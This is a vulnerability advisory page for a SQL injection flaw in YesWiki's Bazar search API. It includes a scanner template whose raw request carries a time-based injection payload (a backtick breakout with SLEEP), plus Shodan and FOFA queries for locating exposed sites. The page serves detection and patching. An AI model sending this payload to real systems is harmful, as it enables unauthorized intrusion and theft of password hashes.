CVE-2026-116207: YesWiki - SQL Injection

2026-11-29 PoC Public

Description

YesWiki 4.6.0 before 4.7.0 and 5.0.0-alpha1 before 5.0.0-alpha4 places field names from the public `searchfields`/`query` parameters of the Bazar entries search API inside backtick-quoted SQL identifiers escaped only with mysqli_real_escape_string, which does not escape backticks. An unauthenticated attacker can break out of the identifier and inject subqueries to read arbitrary data such as user password hashes. The template injects a backtick OR-TRUE fragment as a field name: on vulnerable builds the WHERE clause becomes always-true and the API returns entries, while patched builds (which double the backtick) treat it as a missing column and return an error.

Details

CVE
CVE-2026-116207 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-116207

info:
  name: YesWiki - SQL Injection
  author: kosoyyagent
  severity: high
  description: |
    YesWiki 4.6.0 before 4.7.0 and 5.0.0-alpha1 before 5.0.0-alpha4 places field names from the public `searchfields`/`query` parameters of the Bazar entries search API inside backtick-quoted SQL identifiers escaped only with mysqli_real_escape_string, which does not escape backticks. An unauthenticated attacker can break out of the identifier and inject subqueries to read arbitrary data such as user password hashes. The template injects a backtick OR-TRUE fragment as a field name: on vulnerable builds the WHERE clause becomes always-true and the API returns entries, while patched builds (which double the backtick) treat it as a missing column and return an error.
  impact: |
    Attackers can execute SQL injection to read sensitive data like password hashes or cause database denial of service.
  remediation: |
    Upgrade to versions 4.7.0 or 5.0.0-alpha4 or later.
  reference:
    - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-ccp2-6q93-hggh
    - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-hgxv-w4r8-8877
    - https://nvd.nist.gov/vuln/detail/CVE-2026-116207
  classification:
    cve-id: CVE-2026-116207
    epss-score: 0.01896
    epss-percentile: 0.80243
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"yeswiki"
    fofa-query: body="YesWiki"
  tags: cve,cve2026,yeswiki,sqli

http:
  - raw:
      - |
        @timeout: 50s
        GET /?api/forms/2/entries&query=bf_latitude.%22x%60%2CSLEEP%286%29%20AS%20injected_delay%2Ctag%20AS%20%60y%22%3D%3Dignored HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 6'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_any(body, "id_fiche", "\"bf_", "html_output")'
        condition: and
# digest: 4a0a0047304502207f15d296d0ace895008b805b6a5971cd6dc875649e461d71b5ab4df56a20f713022100a953ac8235983e07badcb26be759d1a4871a2fc432dfd805478f71da3f9adef1:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life